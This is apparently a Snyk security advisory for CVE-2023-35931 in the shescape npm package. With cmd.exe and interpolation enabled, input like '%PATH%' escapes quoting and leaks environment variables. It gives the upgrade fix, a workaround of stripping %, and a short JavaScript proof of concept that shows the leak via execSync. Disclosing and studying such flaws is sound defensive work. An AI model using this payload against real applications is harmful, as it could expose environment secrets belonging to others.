Information Exposure Affecting shescape package, versions <1.7.1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-SHESCAPE-5734237
- published23 Jun 2023
- disclosed22 Jun 2023
- creditUnknown
Introduced: 22 Jun 2023
CVE-2023-35931 (opens in a new tab)How to fix?
Upgrade shescape to version 1.7.1 or higher.
Overview
shescape is a simple shell escape library
Affected versions of this package are vulnerable to Information Exposure such that an attacker may be able to get read-only access to environment variables.
Note:
This impact users of Shescape:
- On Windows using the Windows Command Prompt (i.e.
cmd.exe), and - Using
quote/quoteAllorescape/escapeAllwith theinterpolationoption set totrue.
Workaround
Users who are unable to upgrade to the fixed version can remove all instances of % from user input, either before or after using Shescape.
PoC
import * as cp from "node:child_process";
import * as shescape from "shescape";
// 1. Prerequisites
const options = {
shell: "cmd.exe",
// Or
shell: undefined, // Only if the default shell is CMD
// And
interpolation: true, // Only applies to `escape` and `escapeAll` usage
}
// 2. Attack (one of many)
const payload = "%PATH%";
// 3. Usage
let escapedPayload;
escapedPayload = shescape.quote(payload, options);
// Or
escapedPayload = shescape.quoteAll([payload], options);
// Or
escapedPayload = shescape.escape(payload, options);
// Or
escapedPayload = shescape.escapeAll([payload], options);
// And (example)
const result = cp.execSync(`echo Hello ${escapedPayload}`, options);
// 4. Impact
console.log(result.toString());
// Outputs "Hello" followed by the contents of the PATH environment variable